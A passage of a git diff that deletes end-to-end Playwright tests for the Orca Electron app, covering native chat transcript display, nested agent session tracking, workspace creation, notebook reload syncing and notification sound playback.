'rejected-tasks', - name: 'TodoWrite', - input: { todos: [{ content: REJECTED_TASK, status: 'completed' }] } - } - ] - const results = [ - { type: 'tool_result', tool_use_id: 'outside-run', content: 'UNATTRIBUTED_OUTPUT' }, - ...OUTPUTS.map((output, index) => ({ - type: 'tool_result', - tool_use_id: `named-${index}`, - content: output - })).toReversed(), - { type: 'tool_result', tool_use_id: 'accepted-tasks', content: 'Tasks saved' }, - { - type: 'tool_result', - tool_use_id: 'rejected-tasks', - content: 'Task update rejected', - is_error: true - } - ] - const records = [ - { - sessionId, - uuid: `${sessionId}-calls`, - timestamp: new Date(Date.now() + 4_000).toISOString(), - type: 'assistant', - message: { role: 'assistant', model: 'claude-opus-4', content: calls } - }, - { - sessionId, - uuid: `${sessionId}-results`, - timestamp: new Date(Date.now() + 6_000).toISOString(), - type: 'user', - message: { role: 'user', content: results } - } - ] - return `${claudeTranscriptLines({ - sessionId, - userText: 'Check tool output ownership behind silent calls', - assistantText: 'Each named completion belongs to the command that produced it.' - })}${records.map((record) => JSON.stringify(record)).join('\n')}\n` -} - -test('keeps named output owners and accepted tasks while retaining a standalone orphan', async ({ - electronApp, - orcaPage -}, testInfo) => { - const launch = await electronApp.evaluate(({ app, BrowserWindow }) => ({ - appPath: app.getAppPath(), - windows: BrowserWindow.getAllWindows().map((window) => ({ - visible: window.isVisible(), - focused: window.isFocused() - })) - })) - expect(launch.appPath).toBe(process.cwd()) - expect(launch.windows.length).toBeGreaterThan(0) - expect(launch.windows.every((window) => !window.visible && !window.focused)).toBe(true) - const launchEvidence = testInfo.outputPath('hidden-launch-identity.json') - writeFileSync(launchEvidence, JSON.stringify({ ...launch, processId: electronApp.process().pid })) - await testInfo.attach('hidden-launch-identity', { - path: launchEvidence, - contentType: 'application/json' - }) - - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const boundPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - const ptyId = await waitForActivePanePtyId(orcaPage) - await waitForPtyShellEcho(orcaPage, ptyId, 15_000) - const descriptor = await waitForActivePaneHookDescriptor(orcaPage) - expect(descriptor.paneKey).toBe(`${boundPane.tabId}:${boundPane.activeLeafId}`) - const [tabId] = descriptor.paneKey.split(':') - const sessionId = `e2e-tool-pairing-${randomUUID()}` - const scratchDir = mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-tool-pairing-')) - const transcriptPath = path.join(scratchDir, `${sessionId}.jsonl`) - - const finishLifetime = await observeTranscriptPaneLifetime(orcaPage, { - tabId, - worktreeId: descriptor.worktreeId, - paneKey: descriptor.paneKey - }) - try { - writeFileSync(transcriptPath, pairingTranscript(sessionId)) - await seedClaudeProviderSession(orcaPage, { - paneKey: descriptor.paneKey, - worktreeId: descriptor.worktreeId, - sessionId, - transcriptPath - }) - await toggleTerminalTabToChatView(orcaPage, { tabId, worktreeId: descriptor.worktreeId }) - - const chat = orcaPage.locator('[data-native-chat-root="true"]') - await expect(chat).toBeVisible({ timeout: 15_000 }) - const runs = chat.locator('[data-native-chat-tool-run-state]') - await expect(runs).toHaveCount(2, { timeout: 30_000 }) - const run = runs.first() - await run.click() - await expect(run).toHaveAttribute('aria-expanded', 'true') - const members = chat.locator('[data-native-chat-tool-run-members]').first() - await expect(members).toBeVisible() - - const silent = members.getByRole('button', { name: /printf silent_0$/ }) - await expect(silent).toBeVisible() - await expect(silent).not.toHaveAttribute('aria-expanded', /true|false/) - - for (const [index, command] of COMMANDS.entries()) { - const line = members.getByRole('button', { name: new RegExp(command) }) - await line.click() - const detail = line.locator('..') - await expect(detail.getByText(OUTPUTS[index]!, { exact: true })).toBeVisible() - for (const other of OUTPUTS.filter((_, outputIndex) => outputIndex !== index)) { - await expect(detail.getByText(other, { exact: true })).toHaveCount(0) - } - } - await expect(members.getByRole('button', { name: /^Result\b/ })).toHaveCount(0) - await expect(members.getByText('UNATTRIBUTED_OUTPUT', { exact: true })).toHaveCount(0) - await members.evaluate(async (element) => { - await Promise.all( - element - .getAnimations({ subtree: true }) - .filter((animation) => animation.effect?.getComputedTiming().iterations !== Infinity) - .map((animation) => animation.finished.catch(() => undefined)) - ) - }) - const outputsScreenshot = testInfo.outputPath('named-tool-outputs.png') - await orcaPage.screenshot({ path: outputsScreenshot }) - await testInfo.attach('named-tool-outputs', { - path: outputsScreenshot, - contentType: 'image/png' - }) - - const taskToggle = chat.getByRole('button', { - name: 'Tasks 0 of 1 task completed', - exact: true - }) - await expect(taskToggle).toBeVisible() - await taskToggle.click() - const composerTaskList = taskToggle.locator('..').getByRole('list', { name: 'Tasks' }) - await expect(composerTaskList.getByText(ACCEPTED_TASK, { exact: true })).toBeVisible() - await expect(composerTaskList.getByText(REJECTED_TASK, { exact: true })).toHaveCount(0) - const tasksScreenshot = testInfo.outputPath('accepted-task-list.png') - await orcaPage.screenshot({ path: tasksScreenshot }) - await testInfo.attach('accepted-task-list', { - path: tasksScreenshot, - contentType: 'image/png' - }) - - const orphanRun = runs.nth(1) - await expect(orphanRun).toContainText('Result') - await expect(orphanRun).not.toContainText('tool call') - await orphanRun.click() - await expect(orphanRun).toHaveAttribute('aria-expanded', 'true') - const orphanMembers = chat.locator('[data-native-chat-tool-run-members]').nth(1) - const orphan = orphanMembers.getByRole('button', { name: /^Result\b/ }) - await expect(orphan).toHaveCount(1) - await orphan.click() - await expect(orphan.locator('..').locator('pre[data-native-chat-code-content]')).toHaveText( - 'UNATTRIBUTED_OUTPUT' - ) - for (const output of OUTPUTS) { - await expect(orphanMembers.getByText(output, { exact: true })).toHaveCount(0) - } - await orphanMembers.evaluate(async (element) => { - await Promise.all( - element - .getAnimations({ subtree: true }) - .filter((animation) => animation.effect?.getComputedTiming().iterations !== Infinity) - .map((animation) => animation.finished.catch(() => undefined)) - ) - }) - const orphanScreenshot = testInfo.outputPath('orphan-result-and-retained-tasks.png') - await orcaPage.screenshot({ path: orphanScreenshot }) - await testInfo.attach('orphan-result-and-retained-tasks', { - path: orphanScreenshot, - contentType: 'image/png' - }) - expect( - await electronApp.evaluate(({ BrowserWindow }) => - BrowserWindow.getAllWindows().every((window) => !window.isVisible() && !window.isFocused()) - ) - ).toBe(true) - const finalPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - expect(finalPane.tabId).toBe(boundPane.tabId) - expect(finalPane.activeLeafId).toBe(boundPane.activeLeafId) - expect(finalPane.ptyIdsByLeafId).toEqual(boundPane.ptyIdsByLeafId) - await expect(chat).toBeVisible() - } finally { - await testInfo.attach('transcript-pane-lifetime', { - body: JSON.stringify(await finishLifetime()), - contentType: 'application/json' - }) - rmSync(scratchDir, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/native-chat-zcode-transcript.spec.ts b/tests/e2e/native-chat-zcode-transcript.spec.ts deleted file mode 100644 index c0b993bbc1b..00000000000 --- a/tests/e2e/native-chat-zcode-transcript.spec.ts +++ /dev/null @@ -1,116 +0,0 @@ -import { DatabaseSync } from 'node:sqlite' -import { mkdirSync } from 'node:fs' -import path from 'node:path' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - waitForActivePaneHookDescriptor, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForPaneIdentitySnapshot -} from './helpers/terminal' -import { waitForPtyShellEcho } from './terminal-pty-readiness' -import { readHookEndpoint } from './helpers/agent-hook-endpoint' -import { toggleTerminalTabToChatView } from './helpers/native-chat-transcript-fixture' - -test('ZCode native chat reads ordered visible history and follows new messages', async ({ - orcaPage, - electronApp -}, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const home = await electronApp.evaluate(({ app }) => app.getPath('home')) - const dbPath = path.join(home, '.zcode', 'cli', 'db', 'db.sqlite') - mkdirSync(path.dirname(dbPath), { recursive: true }) - const db = new DatabaseSync(dbPath) - try { - db.exec(` - CREATE TABLE session (id TEXT PRIMARY KEY); - CREATE TABLE message (id TEXT PRIMARY KEY, session_id TEXT, time_created INTEGER, time_updated INTEGER, data TEXT, sequence INTEGER); - CREATE TABLE part (id TEXT PRIMARY KEY, message_id TEXT, session_id TEXT, time_created INTEGER, time_updated INTEGER, data TEXT, sequence INTEGER); - INSERT INTO session VALUES ('zcode-proof'); - `) - const insert = (id: string, role: string, text: string, sequence: number, hidden = false) => { - db.prepare('INSERT INTO message VALUES (?, ?, 1, 1, ?, ?)').run( - id, - 'zcode-proof', - JSON.stringify({ - role, - semantics: { transcriptVisibility: hidden ? 'hidden' : 'visible' } - }), - sequence - ) - db.prepare('INSERT INTO part VALUES (?, ?, ?, 1, 1, ?, 0)').run( - id, - id, - 'zcode-proof', - JSON.stringify({ type: 'text', text }) - ) - } - insert('answer', 'assistant', 'The stored conversation now opens in native chat.', 2) - insert('question', 'user', 'Show my saved ZCode conversation.', 0) - insert('hidden', 'user', 'HIDDEN BOOKKEEPING MUST NOT RENDER', 1, true) - const boundPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - const ptyId = await waitForActivePanePtyId(orcaPage) - await waitForPtyShellEcho(orcaPage, ptyId, 15_000) - const descriptor = await waitForActivePaneHookDescriptor(orcaPage) - expect(descriptor.paneKey).toBe(`${boundPane.tabId}:${boundPane.activeLeafId}`) - const [tabId] = descriptor.paneKey.split(':') - const endpoint = await readHookEndpoint(electronApp) - const response = await fetch(`http://127.0.0.1:${endpoint.port}/hook/zcode`, { - method: 'POST', - headers: { - 'Content-Type': 'application/json', - 'X-Orca-Agent-Hook-Token': endpoint.token - }, - body: JSON.stringify({ - ...descriptor, - tabId, - env: endpoint.env, - version: endpoint.version, - payload: { - hook_event_name: 'SessionStart', - source: 'resume', - session_id: 'zcode-proof' - } - }) - }) - expect(response.status).toBe(204) - await expect - .poll(() => - orcaPage.evaluate( - (paneKey) => window.__store?.getState().agentStatusByPaneKey.get(paneKey)?.agentType, - descriptor.paneKey - ) - ) - .toBe('zcode') - await orcaPage.screenshot({ path: testInfo.outputPath('01-terminal-before-chat.png') }) - await toggleTerminalTabToChatView(orcaPage, { tabId, worktreeId: descriptor.worktreeId }) - const chat = orcaPage.locator('[data-native-chat-root="true"]') - await expect(chat).toBeVisible({ timeout: 15_000 }) - await expect(chat.getByText('Show my saved ZCode conversation.')).toBeVisible({ - timeout: 30_000 - }) - await expect(chat.getByText('The stored conversation now opens in native chat.')).toBeVisible() - await expect(chat.getByText('HIDDEN BOOKKEEPING MUST NOT RENDER')).toHaveCount(0) - const transcriptText = await chat.innerText() - expect(transcriptText.indexOf('Show my saved ZCode conversation.')).toBeLessThan( - transcriptText.indexOf('The stored conversation now opens in native chat.') - ) - await orcaPage.screenshot({ path: testInfo.outputPath('02-ordered-history.png') }) - insert('followup', 'assistant', 'Live updates also reach this conversation.', 3) - await expect(chat.getByText('Live updates also reach this conversation.')).toBeVisible({ - timeout: 15_000 - }) - await orcaPage.screenshot({ path: testInfo.outputPath('03-live-update.png') }) - const finalPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - expect(finalPane.tabId).toBe(boundPane.tabId) - expect(finalPane.activeLeafId).toBe(boundPane.activeLeafId) - expect(finalPane.ptyIdsByLeafId).toEqual(boundPane.ptyIdsByLeafId) - await expect(chat).toBeVisible() - } finally { - db.close() - } -}) diff --git a/tests/e2e/nested-agent-idle-session-owner.spec.ts b/tests/e2e/nested-agent-idle-session-owner.spec.ts deleted file mode 100644 index 71cc7b506fa..00000000000 --- a/tests/e2e/nested-agent-idle-session-owner.spec.ts +++ /dev/null @@ -1,166 +0,0 @@ -import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - execInTerminal, - waitForActivePanePtyId, - waitForActivePaneHookDescriptor, - waitForActiveTerminalManager -} from './helpers/terminal' -import { - readSink, - retentionFixtureCommand, - writeRetentionFixture -} from './helpers/host-created-terminal-retention-oracle' -import { readHookEndpoint } from './helpers/agent-hook-endpoint' -import { - claudeTranscriptLines, - toggleTerminalTabToChatView -} from './helpers/native-chat-transcript-fixture' -import { createDesktopMobilePairingOffer } from './helpers/paired-electron-client' -import { pairMobileClient } from './helpers/paired-mobile-client' -import { readAgentProcess } from '../../src/shared/agent-status/process/agent-process-presence-probe' -import { resolveMobileNativeChat } from '../../mobile/src/session/native-chat/conversation/mobile-native-chat-eligibility' -import type { RuntimeMobileSessionTabsResult } from '../../src/shared/remote-runtime/session-graph/runtime-session-contracts' - -const SESSION = '11111111-2222-4333-8444-555555555555' -const REPLY = 'Foreground Claude reply stays selected while a nested Codex reviews.' - -test('idle Claude keeps chat, mobile transcript, and return identity through nested Codex hooks', async ({ - orcaPage, - electronApp, - registerPostElectronShutdownCleanup -}, testInfo) => { - test.skip(process.platform === 'win32', 'Claude hook process capture is POSIX-only') - const dir = mkdtempSync(join(tmpdir(), 'orca-idle-owner-e2e-')) - registerPostElectronShutdownCleanup(async () => rmSync(dir, { recursive: true, force: true })) - const transcriptPath = join(dir, `${SESSION}.jsonl`) - writeFileSync( - transcriptPath, - claudeTranscriptLines({ - sessionId: SESSION, - userText: 'Keep my foreground session.', - assistantText: REPLY - }) - ) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const descriptor = await waitForActivePaneHookDescriptor(orcaPage) - const ptyId = await waitForActivePanePtyId(orcaPage) - const sinkPath = join(dir, 'foreground-agent.log') - const fixturePath = writeRetentionFixture(dir, { processTitle: 'claude' }) - await execInTerminal(orcaPage, ptyId, retentionFixtureCommand(fixturePath, sinkPath)) - await expect.poll(() => readSink(sinkPath)).toMatch(/^READY:\d+/) - const pid = Number(readSink(sinkPath).match(/^READY:(\d+)/)?.[1]) - const observed = await readAgentProcess(pid) - expect(observed.verdict).toBe('live') - if (observed.verdict !== 'live') { - throw new Error('The foreground fixture must have a verifiable identity') - } - const processIdentity = { pid, platform: process.platform, startTime: observed.startTime } - const [tabId] = descriptor.paneKey.split(':') - const endpoint = await readHookEndpoint(electronApp) - const post = async (source: string, hook_event_name: string) => { - const response = await fetch(`http://127.0.0.1:${endpoint.port}/hook/${source}`, { - method: 'POST', - headers: { 'Content-Type': 'application/json', 'X-Orca-Agent-Hook-Token': endpoint.token }, - body: JSON.stringify({ - ...descriptor, - tabId, - env: endpoint.env, - version: endpoint.version, - ...(source === 'claude' ? { agentProcess: processIdentity } : {}), - payload: { - hook_event_name, - session_id: source === 'claude' ? SESSION : '66666666-7777-4888-8999-000000000000', - ...(source === 'claude' ? { transcript_path: transcriptPath } : {}), - ...(hook_event_name === 'UserPromptSubmit' - ? { - prompt: source === 'claude' ? 'Keep my foreground session.' : 'Nested Codex review' - } - : {}) - } - }) - }) - expect(response.status).toBe(204) - } - await post('claude', 'UserPromptSubmit') - await post('claude', 'Stop') - await expect - .poll(() => - orcaPage.evaluate( - (key) => window.__store?.getState().agentStatusByPaneKey.get(key)?.state, - descriptor.paneKey - ) - ) - .toBe('done') - await toggleTerminalTabToChatView(orcaPage, { tabId, worktreeId: descriptor.worktreeId }) - const chat = orcaPage.locator('[data-native-chat-root="true"]') - await expect(chat.getByText(REPLY, { exact: true })).toBeVisible() - await orcaPage.screenshot({ path: testInfo.outputPath('01-claude-before-nested.png') }) - expect( - await orcaPage.evaluate( - async (key) => (await window.api.agentStatus.hasVerifiableAgentProcess?.(key)) ?? false, - descriptor.paneKey - ) - ).toBe(true) - for (const event of [ - 'SessionStart', - 'UserPromptSubmit', - 'PreToolUse', - 'PostToolUse', - 'PermissionRequest', - 'Stop' - ]) { - await post('codex', event) - await expect(chat.getByText(REPLY, { exact: true })).toBeVisible() - await expect - .poll(() => - orcaPage.evaluate( - (key) => window.__store?.getState().agentStatusByPaneKey.get(key)?.providerSession?.id, - descriptor.paneKey - ) - ) - .toBe(SESSION) - } - await orcaPage.screenshot({ path: testInfo.outputPath('02-claude-after-nested.png') }) - - const phone = pairMobileClient(await createDesktopMobilePairingOffer(orcaPage)) - try { - const result = await phone.call('session.tabs.list', { - worktree: `id:${descriptor.worktreeId}` - }) - const tab = result.tabs.find((tab) => tab.type === 'terminal' && tab.parentTabId === tabId) - expect(tab).toBeDefined() - const resolution = resolveMobileNativeChat(tab ?? null, true) - expect(resolution).toMatchObject({ agent: 'claude', sessionId: SESSION }) - if (!resolution) { - throw new Error('Phone lost the foreground transcript') - } - const transcript = await phone.call('nativeChat.readSession', { - ...resolution, - limit: 50 - }) - expect(JSON.stringify(transcript)).toContain(REPLY) - expect(JSON.stringify(transcript)).not.toContain('Nested Codex review') - } finally { - phone.dispose() - } - - await orcaPage.getByRole('button', { name: 'Show terminal', exact: true }).click() - await expect(chat).toHaveCount(0) - await expect( - orcaPage.getByText('Orca could not verify the originating Codex session file', { exact: false }) - ).toHaveCount(0) - expect( - await orcaPage.evaluate( - (key) => window.__store?.getState().agentStatusByPaneKey.get(key)?.providerSession?.id, - descriptor.paneKey - ) - ).toBe(SESSION) - await orcaPage.screenshot({ path: testInfo.outputPath('03-return-to-terminal.png') }) -}) diff --git a/tests/e2e/new-workspace-create-more.spec.ts b/tests/e2e/new-workspace-create-more.spec.ts deleted file mode 100644 index c6fd927cd4b..00000000000 --- a/tests/e2e/new-workspace-create-more.spec.ts +++ /dev/null @@ -1,107 +0,0 @@ -import { openSidebarWorkspaceComposer } from './helpers/sidebar-project-dialog' -import { writeFileSync } from 'node:fs' -import { execFileSync } from 'node:child_process' -import { test, expect } from './helpers/orca-app' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -test.use({ orcaAppExtraEnv: { ORCA_BACKGROUND_LAUNCH: '1' } }) - -test('Create more clears the GitHub PR source before the next worktree', async ({ - electronApp, - orcaPage, - testRepoPath -}, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const sha = execFileSync('git', ['rev-parse', 'HEAD'], { - cwd: testRepoPath, - encoding: 'utf8' - }).trim() - await electronApp.evaluate(({ ipcMain }, baseBranch) => { - ipcMain.removeHandler('worktrees:resolvePrBase') - ipcMain.handle('worktrees:resolvePrBase', () => ({ baseBranch })) - }, sha) - await orcaPage.evaluate(() => { - const store = window.__store! - const state = store.getState() - store.setState({ settings: { ...state.settings!, defaultTuiAgent: 'blank' } }) - }) - await openSidebarWorkspaceComposer(orcaPage) - await orcaPage.evaluate(() => { - const store = window.__store! - const repoId = store.getState().repos[0].id - const item = { - id: 'pr-4242', - provider: 'github' as const, - type: 'pr' as const, - number: 4242, - title: 'Fix workspace task reset', - state: 'open' as const, - url: 'https://github.com/acme/app/pull/4242', - labels: [], - updatedAt: '2026-09-01T00:00:00Z', - author: 'e2e', - repoId - } - store.setState({ - getCachedWorkItems: () => [item], - fetchWorkItems: async () => [item], - fetchWorkItemsAcrossRepos: async () => ({ - items: [item], - failedCount: 0, - githubUnavailable: false - }) - }) - }) - const dialog = orcaPage.getByRole('dialog', { name: /Create (Workspace|Worktree)/i }) - const input = dialog.locator('[data-workspace-name-input="true"]') - await input.click() - await orcaPage - .getByRole('option', { name: '#4242 Fix workspace task reset', exact: true }) - .click() - const pill = dialog.locator('[data-workspace-source-pill="true"]') - await expect(pill).toContainText('Fix workspace task reset') - await dialog.getByRole('switch', { name: 'Create more' }).click() - await dialog.getByRole('button', { name: /^Create/ }).click() - await expect(dialog).toBeVisible() - await expect(input).toHaveValue('') - await expect - .poll(() => - orcaPage.evaluate(() => - window - .__store!.getState() - .allWorktrees() - .some((worktree) => worktree.linkedPR === 4242) - ) - ) - .toBe(true) - const cdp = await orcaPage.context().newCDPSession(orcaPage) - const screenshot = await cdp.send('Page.captureScreenshot') - const proofPath = testInfo.outputPath('create-more-result.png') - writeFileSync(proofPath, Buffer.from(screenshot.data, 'base64')) - await testInfo.attach('create-more-result.png', { - path: proofPath, - contentType: 'image/png' - }) - await cdp.detach() - await expect(pill).toHaveCount(0) - await expect(dialog.getByRole('switch', { name: 'Create more' })).toHaveAttribute( - 'aria-checked', - 'true' - ) - await input.fill('next-independent-worktree') - await dialog.getByRole('button', { name: /^Create/ }).click() - await expect - .poll(() => - orcaPage.evaluate(() => { - const worktree = window - .__store!.getState() - .allWorktrees() - .find((entry) => entry.displayName === 'next-independent-worktree') - return worktree ? { linkedPR: worktree.linkedPR, linkedIssue: worktree.linkedIssue } : null - }) - ) - .toEqual({ linkedPR: null, linkedIssue: null }) - await expect(input).toHaveValue('') - await expect(pill).toHaveCount(0) -}) diff --git a/tests/e2e/notebook-cell-external-sync.spec.ts b/tests/e2e/notebook-cell-external-sync.spec.ts deleted file mode 100644 index 5c540645c09..00000000000 --- a/tests/e2e/notebook-cell-external-sync.spec.ts +++ /dev/null @@ -1,115 +0,0 @@ -import { randomUUID } from 'node:crypto' -import { mkdir, readFile, rm, writeFile } from 'node:fs/promises' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { getActiveWorktreeContext } from './helpers/markdown-editor-fixture' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { parseIpynb } from '../../src/renderer/src/components/editor/notebook/document/ipynb-parse' - -const FIRST = { id: 'first', source: 'print("original")' } -const SECOND = { id: 'second', source: 'print("other")' } - -function notebookContent(cells: { id: string; source: string }[]): string { - return JSON.stringify({ - nbformat: 4, - nbformat_minor: 5, - metadata: { language_info: { name: 'python' } }, - cells: cells.map(({ id, source }) => ({ - id, - cell_type: 'code', - metadata: {}, - execution_count: null, - outputs: [], - source: [source] - })) - }) -} - -async function openNotebook(page: Page, filePath: string): Promise { - const context = await getActiveWorktreeContext(page) - await page.evaluate( - ({ filePath, worktreeId, relativePath }) => { - window.__store?.getState().openFile({ - filePath, - relativePath, - worktreeId, - language: 'json', - mode: 'edit' - }) - }, - { - filePath, - worktreeId: context.worktreeId, - relativePath: path.relative(context.rootPath, filePath) - } - ) - await expect(page.locator('.ipynb-code-surface')).toHaveCount(2) -} - -async function fileIsDirty(page: Page): Promise { - return page.evaluate(() => { - const state = window.__store?.getState() - return state?.openFiles.find((file) => file.id === state.activeFileId)?.isDirty ?? null - }) -} - -test.beforeEach(async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) -}) - -for (const reload of ['source', 'reorder'] as const) { - test(`keeps the active cell current after an external notebook ${reload} reload`, async ({ - orcaPage, - registerPostElectronShutdownCleanup - }, testInfo) => { - const context = await getActiveWorktreeContext(orcaPage) - const directory = path.join(context.rootPath, '.orca-e2e-notebook-external-sync') - await mkdir(directory, { recursive: true }) - const filePath = path.join(directory, `${reload}-${testInfo.workerIndex}-${randomUUID()}.ipynb`) - registerPostElectronShutdownCleanup(() => rm(filePath, { force: true })) - await writeFile(filePath, notebookContent([FIRST, SECOND]), 'utf8') - await openNotebook(orcaPage, filePath) - const surfaces = orcaPage.locator('.ipynb-code-surface') - await surfaces.first().getByRole('button').click() - await expect(orcaPage.locator('.ipynb-code-surface .monaco-editor')).toBeVisible() - await expect.poll(() => fileIsDirty(orcaPage)).toBe(false) - - const updatedFirst = reload === 'source' ? { ...FIRST, source: 'print("updated")' } : FIRST - const updatedSecond = { ...SECOND, source: 'print("reload marker")' } - const externalCells = - reload === 'source' ? [updatedFirst, updatedSecond] : [updatedSecond, updatedFirst] - await writeFile(filePath, notebookContent(externalCells), 'utf8') - const preview = surfaces.nth(reload === 'source' ? 1 : 0) - await expect(preview).toHaveText(updatedSecond.source, { timeout: 25_000 }) - await expect.poll(() => fileIsDirty(orcaPage)).toBe(false) - await orcaPage.screenshot({ path: testInfo.outputPath('external-reload-clean.png') }) - const activeCell = surfaces.nth(reload === 'source' ? 0 : 1) - await expect.soft(activeCell.locator('.view-lines')).toHaveText(updatedFirst.source) - - await orcaPage.keyboard.press('End') - await orcaPage.keyboard.type('!', { delay: 100 }) - await expect.poll(() => fileIsDirty(orcaPage)).toBe(true) - await orcaPage.screenshot({ path: testInfo.outputPath('external-reload-cell-edit.png') }) - await orcaPage.getByRole('button', { name: 'Save notebook', exact: true }).click() - const editedFirst = { ...updatedFirst, source: `${updatedFirst.source}!` } - await expect - .poll(async () => { - // Saves overwrite in place, so a read can land mid-write; expect.poll aborts on a throw. - let saved: ReturnType - try { - saved = parseIpynb(await readFile(filePath, 'utf8')) - } catch (error) { - if (error instanceof SyntaxError) { - return null - } - throw error - } - return saved.cells.map(({ id, source }) => ({ id, source })) - }) - .toEqual(reload === 'source' ? [editedFirst, updatedSecond] : [updatedSecond, editedFirst]) - await expect.poll(() => fileIsDirty(orcaPage)).toBe(false) - await orcaPage.screenshot({ path: testInfo.outputPath('external-reload-cell-saved.png') }) - }) -} diff --git a/tests/e2e/notification-sound-replay.spec.ts b/tests/e2e/notification-sound-replay.spec.ts deleted file mode 100644 index c0f58ba6e7b..00000000000 --- a/tests/e2e/notification-sound-replay.spec.ts +++ /dev/null @@ -1,153 +0,0 @@ -import { writeFileSync } from 'node:fs' -import { test, expect } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' - -// A long tone makes the second request unambiguously arrive during playback. -function notificationTone(): Buffer { - const rate = 48_000 - const samples = rate * 2 - const wav = Buffer.alloc(44 + samples * 2) - wav.write('RIFF', 0) - wav.writeUInt32LE(wav.length - 8, 4) - wav.write('WAVEfmt ', 8) - wav.writeUInt32LE(16, 16) - wav.writeUInt16LE(1, 20) - wav.writeUInt16LE(1, 22) - wav.writeUInt32LE(rate, 24) - wav.writeUInt32LE(rate * 2, 28) - wav.writeUInt16LE(2, 32) - wav.writeUInt16LE(16, 34) - wav.write('data', 36) - wav.writeUInt32LE(samples * 2, 40) - for (let i = 0; i < samples; i++) { - const seconds = i / rate - const envelope = Math.min(1, seconds * 100, (2 - seconds) * 100) - const frequency = seconds < 0.12 ? 880 : 440 - wav.writeInt16LE( - Math.round(Math.sin(2 * Math.PI * frequency * seconds) * envelope * 6000), - 44 + i * 2 - ) - } - return wav -} - -test('completion sound restarts during playback without overlapping players', async ({ - orcaPage -}, testInfo) => { - await waitForSessionReady(orcaPage) - const soundPath = testInfo.outputPath('notification-tone.wav') - writeFileSync(soundPath, notificationTone()) - await orcaPage.evaluate(async (soundPath) => { - const settings = await window.api.settings.get() - const next = await window.api.settings.set({ - notifications: { - ...settings.notifications, - customSoundId: 'custom', - customSoundPath: soundPath, - customSoundVolume: 100 - } - }) - window.__store?.setState({ settings: next }) - window.__store?.getState().openSettingsTarget({ pane: 'notifications', repoId: null }) - window.__store?.getState().openSettingsPage() - }, soundPath) - const cdp = await orcaPage.context().newCDPSession(orcaPage) - let isolatedContextId: number | undefined - cdp.on('Runtime.executionContextCreated', ({ context }) => { - if (context.name === 'Electron Isolated Context') { - isolatedContextId = context.id - } - }) - await cdp.send('Runtime.enable') - expect(isolatedContextId).toBeDefined() - // Intercept construction only; decoding, seeking and play remain Chromium's real Audio. - await cdp.send('Runtime.evaluate', { - contextId: isolatedContextId, - expression: `(() => { - const OriginalAudio = Audio; - const audios = []; - const context = new AudioContext(); - const destination = context.createMediaStreamDestination(); - const chunks = []; - const recorder = new MediaRecorder(destination.stream); - recorder.ondataavailable = event => chunks.push(event.data); - recorder.start(); - globalThis.Audio = function (...args) { - const audio = new OriginalAudio(...args); - context.createMediaElementSource(audio).connect(destination); - audios.push(audio); - return audio; - }; - globalThis.notificationAudioProbe = { audios, recorder, chunks, context }; - return context.resume(); - })()`, - awaitPromise: true - }) - const started = Date.now() - const first = await orcaPage.evaluate(() => window.api.notifications.playSound()) - expect(first).toEqual({ played: true }) - await orcaPage.waitForTimeout(600) - const beforeSeek = await cdp.send('Runtime.evaluate', { - contextId: isolatedContextId, - expression: 'notificationAudioProbe.audios[0].currentTime', - returnByValue: true - }) - expect(beforeSeek.result.value).toBeGreaterThan(0.3) - const second = await orcaPage.evaluate(() => window.api.notifications.playSound()) - const baseline = process.env.ORCA_NOTIFICATION_SOUND_BASELINE === '1' - expect(second).toEqual(baseline ? { played: false, reason: 'deduped' } : { played: true }) - const afterSeek = await cdp.send('Runtime.evaluate', { - contextId: isolatedContextId, - expression: 'notificationAudioProbe.audios[0].currentTime', - returnByValue: true - }) - if (!baseline) { - expect(afterSeek.result.value).toBeLessThan(0.2) - } - await orcaPage.waitForTimeout(2400) - expect(await orcaPage.evaluate(() => window.api.notifications.playSound())).toEqual({ - played: true - }) - await orcaPage.waitForTimeout(2200) - const count = await cdp.send('Runtime.evaluate', { - contextId: isolatedContextId, - expression: 'notificationAudioProbe.audios.length', - returnByValue: true - }) - expect(count.result.value).toBe(1) - const recording = await cdp.send('Runtime.evaluate', { - contextId: isolatedContextId, - awaitPromise: true, - returnByValue: true, - expression: `new Promise(resolve => { - const probe = notificationAudioProbe; - probe.recorder.onstop = async () => { - const bytes = new Uint8Array(await new Blob(probe.chunks).arrayBuffer()); - let binary = ''; for (const byte of bytes) binary += String.fromCharCode(byte); - resolve(btoa(binary)); - }; - probe.recorder.stop(); - })` - }) - if (typeof recording.result.value !== 'string') { - throw new Error('No audio recording') - } - writeFileSync( - testInfo.outputPath('decoded-audio.webm'), - Buffer.from(recording.result.value, 'base64') - ) - writeFileSync( - testInfo.outputPath('playback-results.json'), - JSON.stringify( - { baseline, first, second, elapsedMs: Date.now() - started, players: count.result.value }, - null, - 2 - ) - ) - await orcaPage.screenshot({ path: testInfo.outputPath('notification-settings.png') }) - await testInfo.attach('decoded notification audio', { - path: testInfo.outputPath('decoded-audio.webm'), - contentType: 